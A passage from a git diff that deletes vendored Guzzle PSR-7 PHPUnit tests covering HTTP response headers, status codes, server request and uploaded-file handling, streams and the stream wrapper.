'Header name can not be empty.'], - ['foo', new \stdClass(), 'Header value must be scalar or null but stdClass provided.'], - ]; - } - - /** - * @dataProvider invalidWithHeaderProvider - */ - public function testWithInvalidHeader($header, $headerValue, $expectedMessage) - { - $r = new Response(); - $this->expectExceptionGuzzle('InvalidArgumentException', $expectedMessage); - $r->withHeader($header, $headerValue); - } - - public function invalidWithHeaderProvider() - { - return array_merge($this->invalidHeaderProvider(), [ - [[], 'foo', 'Header name must be a string but array provided.'], - [false, 'foo', 'Header name must be a string but boolean provided.'], - [new \stdClass(), 'foo', 'Header name must be a string but stdClass provided.'], - ]); - } - - public function testHeaderValuesAreTrimmed() - { - $r1 = new Response(200, ['OWS' => " \t \tFoo\t \t "]); - $r2 = (new Response())->withHeader('OWS', " \t \tFoo\t \t "); - $r3 = (new Response())->withAddedHeader('OWS', " \t \tFoo\t \t "); - - foreach ([$r1, $r2, $r3] as $r) { - self::assertSame(['OWS' => ['Foo']], $r->getHeaders()); - self::assertSame('Foo', $r->getHeaderLine('OWS')); - self::assertSame(['Foo'], $r->getHeader('OWS')); - } - } - - public function testWithAddedHeaderArrayValueAndKeys() - { - $message = (new Response())->withAddedHeader('list', ['foo' => 'one']); - $message = $message->withAddedHeader('list', ['foo' => 'two', 'bar' => 'three']); - - $headerLine = $message->getHeaderLine('list'); - self::assertSame('one, two, three', $headerLine); - } - - /** - * @dataProvider nonIntegerStatusCodeProvider - * - * @param mixed $invalidValues - */ - public function testConstructResponseWithNonIntegerStatusCode($invalidValues) - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Status code must be an integer value.'); - new Response($invalidValues); - } - - /** - * @dataProvider nonIntegerStatusCodeProvider - * - * @param mixed $invalidValues - */ - public function testResponseChangeStatusCodeWithNonInteger($invalidValues) - { - $response = new Response(); - $this->expectExceptionGuzzle('InvalidArgumentException', 'Status code must be an integer value.'); - $response->withStatus($invalidValues); - } - - public function nonIntegerStatusCodeProvider() - { - return [ - ['whatever'], - ['1.01'], - [1.01], - [new \stdClass()], - ]; - } - - /** - * @dataProvider invalidStatusCodeRangeProvider - * - * @param mixed $invalidValues - */ - public function testConstructResponseWithInvalidRangeStatusCode($invalidValues) - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Status code must be an integer value between 1xx and 5xx.'); - new Response($invalidValues); - } - - /** - * @dataProvider invalidStatusCodeRangeProvider - * - * @param mixed $invalidValues - */ - public function testResponseChangeStatusCodeWithWithInvalidRange($invalidValues) - { - $response = new Response(); - $this->expectExceptionGuzzle('InvalidArgumentException', 'Status code must be an integer value between 1xx and 5xx.'); - $response->withStatus($invalidValues); - } - - public function invalidStatusCodeRangeProvider() - { - return [ - [600], - [99], - ]; - } -} diff --git a/vendor/guzzlehttp/psr7/tests/ServerRequestTest.php b/vendor/guzzlehttp/psr7/tests/ServerRequestTest.php deleted file mode 100644 index 839165fa03..0000000000 --- a/vendor/guzzlehttp/psr7/tests/ServerRequestTest.php +++ /dev/null @@ -1,544 +0,0 @@ - [ - [ - 'file' => [ - 'name' => 'MyFile.txt', - 'type' => 'text/plain', - 'tmp_name' => '/tmp/php/php1h4j1o', - 'error' => '0', - 'size' => '123' - ] - ], - [ - 'file' => new UploadedFile( - '/tmp/php/php1h4j1o', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ) - ] - ], - 'Empty file' => [ - [ - 'image_file' => [ - 'name' => '', - 'type' => '', - 'tmp_name' => '', - 'error' => '4', - 'size' => '0' - ] - ], - [ - 'image_file' => new UploadedFile( - '', - 0, - UPLOAD_ERR_NO_FILE, - '', - '' - ) - ] - ], - 'Already Converted' => [ - [ - 'file' => new UploadedFile( - '/tmp/php/php1h4j1o', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ) - ], - [ - 'file' => new UploadedFile( - '/tmp/php/php1h4j1o', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ) - ] - ], - 'Already Converted array' => [ - [ - 'file' => [ - new UploadedFile( - '/tmp/php/php1h4j1o', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ), - new UploadedFile( - '', - 0, - UPLOAD_ERR_NO_FILE, - '', - '' - ) - ], - ], - [ - 'file' => [ - new UploadedFile( - '/tmp/php/php1h4j1o', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ), - new UploadedFile( - '', - 0, - UPLOAD_ERR_NO_FILE, - '', - '' - ) - ], - ] - ], - 'Multiple files' => [ - [ - 'text_file' => [ - 'name' => 'MyFile.txt', - 'type' => 'text/plain', - 'tmp_name' => '/tmp/php/php1h4j1o', - 'error' => '0', - 'size' => '123' - ], - 'image_file' => [ - 'name' => '', - 'type' => '', - 'tmp_name' => '', - 'error' => '4', - 'size' => '0' - ] - ], - [ - 'text_file' => new UploadedFile( - '/tmp/php/php1h4j1o', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ), - 'image_file' => new UploadedFile( - '', - 0, - UPLOAD_ERR_NO_FILE, - '', - '' - ) - ] - ], - 'Nested files' => [ - [ - 'file' => [ - 'name' => [ - 0 => 'MyFile.txt', - 1 => 'Image.png', - ], - 'type' => [ - 0 => 'text/plain', - 1 => 'image/png', - ], - 'tmp_name' => [ - 0 => '/tmp/php/hp9hskjhf', - 1 => '/tmp/php/php1h4j1o', - ], - 'error' => [ - 0 => '0', - 1 => '0', - ], - 'size' => [ - 0 => '123', - 1 => '7349', - ], - ], - 'nested' => [ - 'name' => [ - 'other' => 'Flag.txt', - 'test' => [ - 0 => 'Stuff.txt', - 1 => '', - ], - ], - 'type' => [ - 'other' => 'text/plain', - 'test' => [ - 0 => 'text/plain', - 1 => '', - ], - ], - 'tmp_name' => [ - 'other' => '/tmp/php/hp9hskjhf', - 'test' => [ - 0 => '/tmp/php/asifu2gp3', - 1 => '', - ], - ], - 'error' => [ - 'other' => '0', - 'test' => [ - 0 => '0', - 1 => '4', - ], - ], - 'size' => [ - 'other' => '421', - 'test' => [ - 0 => '32', - 1 => '0', - ] - ] - ], - ], - [ - 'file' => [ - 0 => new UploadedFile( - '/tmp/php/hp9hskjhf', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ), - 1 => new UploadedFile( - '/tmp/php/php1h4j1o', - 7349, - UPLOAD_ERR_OK, - 'Image.png', - 'image/png' - ), - ], - 'nested' => [ - 'other' => new UploadedFile( - '/tmp/php/hp9hskjhf', - 421, - UPLOAD_ERR_OK, - 'Flag.txt', - 'text/plain' - ), - 'test' => [ - 0 => new UploadedFile( - '/tmp/php/asifu2gp3', - 32, - UPLOAD_ERR_OK, - 'Stuff.txt', - 'text/plain' - ), - 1 => new UploadedFile( - '', - 0, - UPLOAD_ERR_NO_FILE, - '', - '' - ), - ] - ] - ] - ] - ]; - } - - /** - * @dataProvider dataNormalizeFiles - */ - public function testNormalizeFiles($files, $expected) - { - $result = ServerRequest::normalizeFiles($files); - - self::assertEquals($expected, $result); - } - - public function testNormalizeFilesRaisesException() - { - $this->expectExceptionGuzzle('InvalidArgumentException', 'Invalid value in files specification'); - ServerRequest::normalizeFiles(['test' => 'something']); - } - - public function dataGetUriFromGlobals() - { - $server = [ - 'REQUEST_URI' => '/blog/article.php?id=10&user=foo', - 'SERVER_PORT' => '443', - 'SERVER_ADDR' => '217.112.82.20', - 'SERVER_NAME' => 'www.example.org', - 'SERVER_PROTOCOL' => 'HTTP/1.1', - 'REQUEST_METHOD' => 'POST', - 'QUERY_STRING' => 'id=10&user=foo', - 'DOCUMENT_ROOT' => '/path/to/your/server/root/', - 'HTTP_HOST' => 'www.example.org', - 'HTTPS' => 'on', - 'REMOTE_ADDR' => '193.60.168.69', - 'REMOTE_PORT' => '5390', - 'SCRIPT_NAME' => '/blog/article.php', - 'SCRIPT_FILENAME' => '/path/to/your/server/root/blog/article.php', - 'PHP_SELF' => '/blog/article.php', - ]; - - return [ - 'HTTPS request' => [ - 'https://www.example.org/blog/article.php?id=10&user=foo', - $server, - ], - 'HTTPS request with different on value' => [ - 'https://www.example.org/blog/article.php?id=10&user=foo', - array_merge($server, ['HTTPS' => '1']), - ], - 'HTTP request' => [ - 'http://www.example.org/blog/article.php?id=10&user=foo', - array_merge($server, ['HTTPS' => 'off', 'SERVER_PORT' => '80']), - ], - 'HTTP_HOST missing -> fallback to SERVER_NAME' => [ - 'https://www.example.org/blog/article.php?id=10&user=foo', - array_merge($server, ['HTTP_HOST' => null]), - ], - 'HTTP_HOST and SERVER_NAME missing -> fallback to SERVER_ADDR' => [ - 'https://217.112.82.20/blog/article.php?id=10&user=foo', - array_merge($server, ['HTTP_HOST' => null, 'SERVER_NAME' => null]), - ], - 'Query string with ?' => [ - 'https://www.example.org/path?continue=https://example.com/path?param=1', - array_merge($server, ['REQUEST_URI' => '/path?continue=https://example.com/path?param=1', 'QUERY_STRING' => '']), - ], - 'No query String' => [ - 'https://www.example.org/blog/article.php', - array_merge($server, ['REQUEST_URI' => '/blog/article.php', 'QUERY_STRING' => '']), - ], - 'Host header with port' => [ - 'https://www.example.org:8324/blog/article.php?id=10&user=foo', - array_merge($server, ['HTTP_HOST' => 'www.example.org:8324']), - ], - 'IPv6 local loopback address' => [ - 'https://[::1]:8000/blog/article.php?id=10&user=foo', - array_merge($server, ['HTTP_HOST' => '[::1]:8000']), - ], - 'Invalid host' => [ - 'https://localhost/blog/article.php?id=10&user=foo', - array_merge($server, ['HTTP_HOST' => 'a:b']), - ], - 'Different port with SERVER_PORT' => [ - 'https://www.example.org:8324/blog/article.php?id=10&user=foo', - array_merge($server, ['SERVER_PORT' => '8324']), - ], - 'REQUEST_URI missing query string' => [ - 'https://www.example.org/blog/article.php?id=10&user=foo', - array_merge($server, ['REQUEST_URI' => '/blog/article.php']), - ], - 'Empty server variable' => [ - 'http://localhost', - [], - ], - ]; - } - - /** - * @dataProvider dataGetUriFromGlobals - */ - public function testGetUriFromGlobals($expected, $serverParams) - { - $_SERVER = $serverParams; - - self::assertEquals(new Uri($expected), ServerRequest::getUriFromGlobals()); - } - - public function testFromGlobals() - { - $_SERVER = [ - 'REQUEST_URI' => '/blog/article.php?id=10&user=foo', - 'SERVER_PORT' => '443', - 'SERVER_ADDR' => '217.112.82.20', - 'SERVER_NAME' => 'www.example.org', - 'SERVER_PROTOCOL' => 'HTTP/1.1', - 'REQUEST_METHOD' => 'POST', - 'QUERY_STRING' => 'id=10&user=foo', - 'DOCUMENT_ROOT' => '/path/to/your/server/root/', - 'CONTENT_TYPE' => 'text/plain', - 'HTTP_HOST' => 'www.example.org', - 'HTTP_ACCEPT' => 'text/html', - 'HTTP_REFERRER' => 'https://example.com', - 'HTTP_USER_AGENT' => 'My User Agent', - 'HTTPS' => 'on', - 'REMOTE_ADDR' => '193.60.168.69', - 'REMOTE_PORT' => '5390', - 'SCRIPT_NAME' => '/blog/article.php', - 'SCRIPT_FILENAME' => '/path/to/your/server/root/blog/article.php', - 'PHP_SELF' => '/blog/article.php', - ]; - - $_COOKIE = [ - 'logged-in' => 'yes!' - ]; - - $_POST = [ - 'name' => 'Pesho', - 'email' => 'pesho@example.com', - ]; - - $_GET = [ - 'id' => 10, - 'user' => 'foo', - ]; - - $_FILES = [ - 'file' => [ - 'name' => 'MyFile.txt', - 'type' => 'text/plain', - 'tmp_name' => '/tmp/php/php1h4j1o', - 'error' => UPLOAD_ERR_OK, - 'size' => 123, - ] - ]; - - $server = ServerRequest::fromGlobals(); - - self::assertSame('POST', $server->getMethod()); - self::assertEquals([ - 'Host' => ['www.example.org'], - 'Content-Type' => ['text/plain'], - 'Accept' => ['text/html'], - 'Referrer' => ['https://example.com'], - 'User-Agent' => ['My User Agent'], - ], $server->getHeaders()); - self::assertSame('', (string) $server->getBody()); - self::assertSame('1.1', $server->getProtocolVersion()); - self::assertSame($_COOKIE, $server->getCookieParams()); - self::assertSame($_POST, $server->getParsedBody()); - self::assertSame($_GET, $server->getQueryParams()); - - self::assertEquals( - new Uri('https://www.example.org/blog/article.php?id=10&user=foo'), - $server->getUri() - ); - - $expectedFiles = [ - 'file' => new UploadedFile( - '/tmp/php/php1h4j1o', - 123, - UPLOAD_ERR_OK, - 'MyFile.txt', - 'text/plain' - ), - ]; - - self::assertEquals($expectedFiles, $server->getUploadedFiles()); - } - - public function testUploadedFiles() - { - $request1 = new ServerRequest('GET', '/'); - - $files = [ - 'file' => new UploadedFile('test', 123, UPLOAD_ERR_OK) - ]; - - $request2 = $request1->withUploadedFiles($files); - - self::assertNotSame($request2, $request1); - self::assertSame([], $request1->getUploadedFiles()); - self::assertSame($files, $request2->getUploadedFiles()); - } - - public function testServerParams() - { - $params = ['name' => 'value']; - - $request = new ServerRequest('GET', '/', [], null, '1.1', $params); - self::assertSame($params, $request->getServerParams()); - } - - public function testCookieParams() - { - $request1 = new ServerRequest('GET', '/'); - - $params = ['name' => 'value']; - - $request2 = $request1->withCookieParams($params); - - self::assertNotSame($request2, $request1); - self::assertEmpty($request1->getCookieParams()); - self::assertSame($params, $request2->getCookieParams()); - } - - public function testQueryParams() - { - $request1 = new ServerRequest('GET', '/'); - - $params = ['name' => 'value']; - - $request2 = $request1->withQueryParams($params); - - self::assertNotSame($request2, $request1); - self::assertEmpty($request1->getQueryParams()); - self::assertSame($params, $request2->getQueryParams()); - } - - public function testParsedBody() - { - $request1 = new ServerRequest('GET', '/'); - - $params = ['name' => 'value']; - - $request2 = $request1->withParsedBody($params); - - self::assertNotSame($request2, $request1); - self::assertEmpty($request1->getParsedBody()); - self::assertSame($params, $request2->getParsedBody()); - } - - public function testAttributes() - { - $request1 = new ServerRequest('GET', '/'); - - $request2 = $request1->withAttribute('name', 'value'); - $request3 = $request2->withAttribute('other', 'otherValue'); - $request4 = $request3->withoutAttribute('other'); - $request5 = $request3->withoutAttribute('unknown'); - - self::assertNotSame($request2, $request1); - self::assertNotSame($request3, $request2); - self::assertNotSame($request4, $request3); - self::assertSame($request5, $request3); - - self::assertSame([], $request1->getAttributes()); - self::assertNull($request1->getAttribute('name')); - self::assertSame( - 'something', - $request1->getAttribute('name', 'something'), - 'Should return the default value' - ); - - self::assertSame('value', $request2->getAttribute('name')); - self::assertSame(['name' => 'value'], $request2->getAttributes()); - self::assertEquals(['name' => 'value', 'other' => 'otherValue'], $request3->getAttributes()); - self::assertSame(['name' => 'value'], $request4->getAttributes()); - } - - public function testNullAttribute() - { - $request = (new ServerRequest('GET', '/'))->withAttribute('name', null); - - self::assertSame(['name' => null], $request->getAttributes()); - self::assertNull($request->getAttribute('name', 'different-default')); - - $requestWithoutAttribute = $request->withoutAttribute('name'); - - self::assertSame([], $requestWithoutAttribute->getAttributes()); - self::assertSame('different-default', $requestWithoutAttribute->getAttribute('name', 'different-default')); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/StreamDecoratorTraitTest.php b/vendor/guzzlehttp/psr7/tests/StreamDecoratorTraitTest.php deleted file mode 100644 index 760397bbcd..0000000000 --- a/vendor/guzzlehttp/psr7/tests/StreamDecoratorTraitTest.php +++ /dev/null @@ -1,147 +0,0 @@ -c = fopen('php://temp', 'r+'); - fwrite($this->c, 'foo'); - fseek($this->c, 0); - $this->a = Psr7\Utils::streamFor($this->c); - $this->b = new Str($this->a); - } - - public function testCatchesExceptionsWhenCastingToString() - { - $s = $this->getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['read']) - ->getMockForAbstractClass(); - $s->expects(self::once()) - ->method('read') - ->will(self::throwException(new \Exception('foo'))); - $msg = ''; - set_error_handler(function ($errNo, $str) use (&$msg) { - $msg = $str; - }); - echo new Str($s); - restore_error_handler(); - $this->assertStringContainsStringGuzzle('foo', $msg); - } - - public function testToString() - { - self::assertSame('foo', (string) $this->b); - } - - public function testHasSize() - { - self::assertSame(3, $this->b->getSize()); - } - - public function testReads() - { - self::assertSame('foo', $this->b->read(10)); - } - - public function testCheckMethods() - { - self::assertSame($this->a->isReadable(), $this->b->isReadable()); - self::assertSame($this->a->isWritable(), $this->b->isWritable()); - self::assertSame($this->a->isSeekable(), $this->b->isSeekable()); - } - - public function testSeeksAndTells() - { - $this->b->seek(1); - self::assertSame(1, $this->a->tell()); - self::assertSame(1, $this->b->tell()); - $this->b->seek(0); - self::assertSame(0, $this->a->tell()); - self::assertSame(0, $this->b->tell()); - $this->b->seek(0, SEEK_END); - self::assertSame(3, $this->a->tell()); - self::assertSame(3, $this->b->tell()); - } - - public function testGetsContents() - { - self::assertSame('foo', $this->b->getContents()); - self::assertSame('', $this->b->getContents()); - $this->b->seek(1); - self::assertSame('oo', $this->b->getContents()); - } - - public function testCloses() - { - $this->b->close(); - self::assertFalse(is_resource($this->c)); - } - - public function testDetaches() - { - $this->b->detach(); - self::assertFalse($this->b->isReadable()); - } - - public function testWrapsMetadata() - { - self::assertSame($this->b->getMetadata(), $this->a->getMetadata()); - self::assertSame($this->b->getMetadata('uri'), $this->a->getMetadata('uri')); - } - - public function testWrapsWrites() - { - $this->b->seek(0, SEEK_END); - $this->b->write('foo'); - self::assertSame('foofoo', (string) $this->a); - } - - public function testThrowsWithInvalidGetter() - { - $this->expectExceptionGuzzle('UnexpectedValueException'); - - $this->b->foo; - } - - public function testThrowsWhenGetterNotImplemented() - { - $s = new BadStream(); - - $this->expectExceptionGuzzle('BadMethodCallException'); - - $s->stream; - } -} - -class BadStream -{ - use StreamDecoratorTrait; - - public function __construct() - { - } -} diff --git a/vendor/guzzlehttp/psr7/tests/StreamTest.php b/vendor/guzzlehttp/psr7/tests/StreamTest.php deleted file mode 100644 index 80597296e1..0000000000 --- a/vendor/guzzlehttp/psr7/tests/StreamTest.php +++ /dev/null @@ -1,403 +0,0 @@ -expectExceptionGuzzle('InvalidArgumentException'); - - new Stream(true); - } - - public function testConstructorInitializesProperties() - { - $handle = fopen('php://temp', 'r+'); - fwrite($handle, 'data'); - $stream = new Stream($handle); - self::assertTrue($stream->isReadable()); - self::assertTrue($stream->isWritable()); - self::assertTrue($stream->isSeekable()); - self::assertSame('php://temp', $stream->getMetadata('uri')); - $this->assertInternalTypeGuzzle('array', $stream->getMetadata()); - self::assertSame(4, $stream->getSize()); - self::assertFalse($stream->eof()); - $stream->close(); - } - - public function testConstructorInitializesPropertiesWithRbPlus() - { - $handle = fopen('php://temp', 'rb+'); - fwrite($handle, 'data'); - $stream = new Stream($handle); - self::assertTrue($stream->isReadable()); - self::assertTrue($stream->isWritable()); - self::assertTrue($stream->isSeekable()); - self::assertSame('php://temp', $stream->getMetadata('uri')); - $this->assertInternalTypeGuzzle('array', $stream->getMetadata()); - self::assertSame(4, $stream->getSize()); - self::assertFalse($stream->eof()); - $stream->close(); - } - - public function testStreamClosesHandleOnDestruct() - { - $handle = fopen('php://temp', 'r'); - $stream = new Stream($handle); - unset($stream); - self::assertFalse(is_resource($handle)); - } - - public function testConvertsToString() - { - $handle = fopen('php://temp', 'w+'); - fwrite($handle, 'data'); - $stream = new Stream($handle); - self::assertSame('data', (string) $stream); - self::assertSame('data', (string) $stream); - $stream->close(); - } - - public function testConvertsToStringNonSeekableStream() - { - if (defined('HHVM_VERSION')) { - self::markTestSkipped('This does not work on HHVM.'); - } - - $handle = popen('echo foo', 'r'); - $stream = new Stream($handle); - self::assertFalse($stream->isSeekable()); - self::assertSame('foo', trim((string) $stream)); - } - - public function testConvertsToStringNonSeekablePartiallyReadStream() - { - if (defined('HHVM_VERSION')) { - self::markTestSkipped('This does not work on HHVM.'); - } - - $handle = popen('echo bar', 'r'); - $stream = new Stream($handle); - $firstLetter = $stream->read(1); - self::assertFalse($stream->isSeekable()); - self::assertSame('b', $firstLetter); - self::assertSame('ar', trim((string) $stream)); - } - - public function testGetsContents() - { - $handle = fopen('php://temp', 'w+'); - fwrite($handle, 'data'); - $stream = new Stream($handle); - self::assertSame('', $stream->getContents()); - $stream->seek(0); - self::assertSame('data', $stream->getContents()); - self::assertSame('', $stream->getContents()); - $stream->close(); - } - - public function testChecksEof() - { - $handle = fopen('php://temp', 'w+'); - fwrite($handle, 'data'); - $stream = new Stream($handle); - self::assertSame(4, $stream->tell(), 'Stream cursor already at the end'); - self::assertFalse($stream->eof(), 'Stream still not eof'); - self::assertSame('', $stream->read(1), 'Need to read one more byte to reach eof'); - self::assertTrue($stream->eof()); - $stream->close(); - } - - public function testGetSize() - { - $size = filesize(__FILE__); - $handle = fopen(__FILE__, 'r'); - $stream = new Stream($handle); - self::assertSame($size, $stream->getSize()); - // Load from cache - self::assertSame($size, $stream->getSize()); - $stream->close(); - } - - public function testEnsuresSizeIsConsistent() - { - $h = fopen('php://temp', 'w+'); - self::assertSame(3, fwrite($h, 'foo')); - $stream = new Stream($h); - self::assertSame(3, $stream->getSize()); - self::assertSame(4, $stream->write('test')); - self::assertSame(7, $stream->getSize()); - self::assertSame(7, $stream->getSize()); - $stream->close(); - } - - public function testProvidesStreamPosition() - { - $handle = fopen('php://temp', 'w+'); - $stream = new Stream($handle); - self::assertSame(0, $stream->tell()); - $stream->write('foo'); - self::assertSame(3, $stream->tell()); - $stream->seek(1); - self::assertSame(1, $stream->tell()); - self::assertSame(ftell($handle), $stream->tell()); - $stream->close(); - } - - public function testDetachStreamAndClearProperties() - { - $handle = fopen('php://temp', 'r'); - $stream = new Stream($handle); - self::assertSame($handle, $stream->detach()); - $this->assertInternalTypeGuzzle('resource', $handle, 'Stream is not closed'); - self::assertNull($stream->detach()); - - $this->assertStreamStateAfterClosedOrDetached($stream); - - $stream->close(); - } - - public function testCloseResourceAndClearProperties() - { - $handle = fopen('php://temp', 'r'); - $stream = new Stream($handle); - $stream->close(); - - self::assertFalse(is_resource($handle)); - - $this->assertStreamStateAfterClosedOrDetached($stream); - } - - private function assertStreamStateAfterClosedOrDetached(Stream $stream) - { - self::assertFalse($stream->isReadable()); - self::assertFalse($stream->isWritable()); - self::assertFalse($stream->isSeekable()); - self::assertNull($stream->getSize()); - self::assertSame([], $stream->getMetadata()); - self::assertNull($stream->getMetadata('foo')); - - $throws = function (callable $fn) { - try { - $fn(); - } catch (\Exception $e) { - $this->assertStringContainsStringGuzzle('Stream is detached', $e->getMessage()); - - return; - } - - $this->fail('Exception should be thrown after the stream is detached.'); - }; - - $throws(function () use ($stream) { - $stream->read(10); - }); - $throws(function () use ($stream) { - $stream->write('bar'); - }); - $throws(function () use ($stream) { - $stream->seek(10); - }); - $throws(function () use ($stream) { - $stream->tell(); - }); - $throws(function () use ($stream) { - $stream->eof(); - }); - $throws(function () use ($stream) { - $stream->getContents(); - }); - self::assertSame('', (string) $stream); - } - - public function testStreamReadingWithZeroLength() - { - $r = fopen('php://temp', 'r'); - $stream = new Stream($r); - - self::assertSame('', $stream->read(0)); - - $stream->close(); - } - - public function testStreamReadingWithNegativeLength() - { - $r = fopen('php://temp', 'r'); - $stream = new Stream($r); - - $this->expectExceptionGuzzle('RuntimeException', 'Length parameter cannot be negative'); - - try { - $stream->read(-1); - } catch (\Exception $e) { - $stream->close(); - throw $e; - } - - $stream->close(); - } - - public function testStreamReadingFreadError() - { - self::$isFReadError = true; - $r = fopen('php://temp', 'r'); - $stream = new Stream($r); - - $this->expectExceptionGuzzle('RuntimeException', 'Unable to read from stream'); - - try { - $stream->read(1); - } catch (\Exception $e) { - self::$isFReadError = false; - $stream->close(); - throw $e; - } - - self::$isFReadError = false; - $stream->close(); - } - - /** - * @dataProvider gzipModeProvider - * - * @param string $mode - * @param bool $readable - * @param bool $writable - */ - public function testGzipStreamModes($mode, $readable, $writable) - { - if (defined('HHVM_VERSION')) { - self::markTestSkipped('This does not work on HHVM.'); - } - - $r = gzopen('php://temp', $mode); - $stream = new Stream($r); - - self::assertSame($readable, $stream->isReadable()); - self::assertSame($writable, $stream->isWritable()); - - $stream->close(); - } - - public function gzipModeProvider() - { - return [ - ['mode' => 'rb9', 'readable' => true, 'writable' => false], - ['mode' => 'wb2', 'readable' => false, 'writable' => true], - ]; - } - - /** - * @dataProvider readableModeProvider - * - * @param string $mode - */ - public function testReadableStream($mode) - { - $r = fopen('php://temp', $mode); - $stream = new Stream($r); - - self::assertTrue($stream->isReadable()); - - $stream->close(); - } - - public function readableModeProvider() - { - return [ - ['r'], - ['w+'], - ['r+'], - ['x+'], - ['c+'], - ['rb'], - ['w+b'], - ['r+b'], - ['x+b'], - ['c+b'], - ['rt'], - ['w+t'], - ['r+t'], - ['x+t'], - ['c+t'], - ['a+'], - ['rb+'], - ]; - } - - public function testWriteOnlyStreamIsNotReadable() - { - $r = fopen('php://output', 'w'); - $stream = new Stream($r); - - self::assertFalse($stream->isReadable()); - - $stream->close(); - } - - /** - * @dataProvider writableModeProvider - * - * @param string $mode - */ - public function testWritableStream($mode) - { - $r = fopen('php://temp', $mode); - $stream = new Stream($r); - - self::assertTrue($stream->isWritable()); - - $stream->close(); - } - - public function writableModeProvider() - { - return [ - ['w'], - ['w+'], - ['rw'], - ['r+'], - ['x+'], - ['c+'], - ['wb'], - ['w+b'], - ['r+b'], - ['rb+'], - ['x+b'], - ['c+b'], - ['w+t'], - ['r+t'], - ['x+t'], - ['c+t'], - ['a'], - ['a+'], - ]; - } - - public function testReadOnlyStreamIsNotWritable() - { - $r = fopen('php://input', 'r'); - $stream = new Stream($r); - - self::assertFalse($stream->isWritable()); - - $stream->close(); - } -} - -namespace GuzzleHttp\Psr7; - -use GuzzleHttp\Tests\Psr7\StreamTest; - -function fread($handle, $length) -{ - return StreamTest::$isFReadError ? false : \fread($handle, $length); -} diff --git a/vendor/guzzlehttp/psr7/tests/StreamWrapperTest.php b/vendor/guzzlehttp/psr7/tests/StreamWrapperTest.php deleted file mode 100644 index f0feda0c69..0000000000 --- a/vendor/guzzlehttp/psr7/tests/StreamWrapperTest.php +++ /dev/null @@ -1,200 +0,0 @@ - 0, - 1 => 0, - 2 => 33206, - 3 => 0, - 4 => 0, - 5 => 0, - 6 => 0, - 7 => 6, - 8 => 0, - 9 => 0, - 10 => 0, - 11 => $stBlksize, - 12 => $stBlksize, - 'dev' => 0, - 'ino' => 0, - 'mode' => 33206, - 'nlink' => 0, - 'uid' => 0, - 'gid' => 0, - 'rdev' => 0, - 'size' => 6, - 'atime' => 0, - 'mtime' => 0, - 'ctime' => 0, - 'blksize' => $stBlksize, - 'blocks' => $stBlksize, - ], fstat($handle)); - } - - self::assertTrue(fclose($handle)); - self::assertSame('foobar', (string) $stream); - } - - public function testStreamContext() - { - $stream = Psr7\Utils::streamFor('foo'); - - self::assertSame('foo', file_get_contents('guzzle://stream', false, StreamWrapper::createStreamContext($stream))); - } - - public function testStreamCast() - { - $streams = [ - StreamWrapper::getResource(Psr7\Utils::streamFor('foo')), - StreamWrapper::getResource(Psr7\Utils::streamFor('bar')) - ]; - $write = null; - $except = null; - $this->assertInternalTypeGuzzle('integer', stream_select($streams, $write, $except, 0)); - } - - public function testValidatesStream() - { - $stream = $this->getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['isReadable', 'isWritable']) - ->getMockForAbstractClass(); - $stream->expects(self::once()) - ->method('isReadable') - ->will(self::returnValue(false)); - $stream->expects(self::once()) - ->method('isWritable') - ->will(self::returnValue(false)); - - $this->expectExceptionGuzzle('InvalidArgumentException'); - - StreamWrapper::getResource($stream); - } - - public function testReturnsFalseWhenStreamDoesNotExist() - { - $this->expectWarningGuzzle(); - - fopen('guzzle://foo', 'r'); - } - - public function testCanOpenReadonlyStream() - { - $stream = $this->getMockBuilder('Psr\Http\Message\StreamInterface') - ->setMethods(['isReadable', 'isWritable']) - ->getMockForAbstractClass(); - $stream->expects(self::once()) - ->method('isReadable') - ->will(self::returnValue(false)); - $stream->expects(self::once()) - ->method('isWritable') - ->will(self::returnValue(true)); - $r = StreamWrapper::getResource($stream); - $this->assertInternalTypeGuzzle('resource', $r); - fclose($r); - } - - public function testUrlStat() - { - StreamWrapper::register(); - - $stBlksize = defined('PHP_WINDOWS_VERSION_BUILD') ? -1 : 0; - - self::assertSame([ - 0 => 0, - 1 => 0, - 2 => 0, - 3 => 0, - 4 => 0, - 5 => 0, - 6 => 0, - 7 => 0, - 8 => 0, - 9 => 0, - 10 => 0, - 11 => $stBlksize, - 12 => $stBlksize, - 'dev' => 0, - 'ino' => 0, - 'mode' => 0, - 'nlink' => 0, - 'uid' => 0, - 'gid' => 0, - 'rdev' => 0, - 'size' => 0, - 'atime' => 0, - 'mtime' => 0, - 'ctime' => 0, - 'blksize' => $stBlksize, - 'blocks' => $stBlksize, - ], stat('guzzle://stream')); - } - - public function testXmlReaderWithStream() - { - if (!class_exists('XMLReader')) { - self::markTestSkipped('XML Reader is not available.'); - } - if (defined('HHVM_VERSION')) { - self::markTestSkipped('This does not work on HHVM.'); - } - - $stream = Psr7\Utils::streamFor(''); - - StreamWrapper::register(); - libxml_set_streams_context(StreamWrapper::createStreamContext($stream)); - $reader = new \XMLReader(); - - self::assertTrue($reader->open('guzzle://stream')); - self::assertTrue($reader->read()); - self::assertSame('foo', $reader->name); - } - - public function testXmlWriterWithStream() - { - if (!class_exists('XMLWriter')) { - self::markTestSkipped('XML Writer is not available.'); - } - if (defined('HHVM_VERSION')) { - self::markTestSkipped('This does not work on HHVM.'); - } - - $stream = Psr7\Utils::streamFor(fopen('php://memory', 'wb')); - - StreamWrapper::register(); - libxml_set_streams_context(StreamWrapper::createStreamContext($stream)); - $writer = new \XMLWriter(); - - self::assertTrue($writer->openURI('guzzle://stream')); - self::assertTrue($writer->startDocument()); - self::assertTrue($writer->writeElement('foo')); - self::assertTrue($writer->endDocument()); - - $stream->rewind(); - self::assertXmlStringEqualsXmlString('', (string) $stream); - } -} diff --git a/vendor/guzzlehttp/psr7/tests/UploadedFileTest.php b/vendor/guzzlehttp/psr7/tests/UploadedFileTest.php deleted file mode 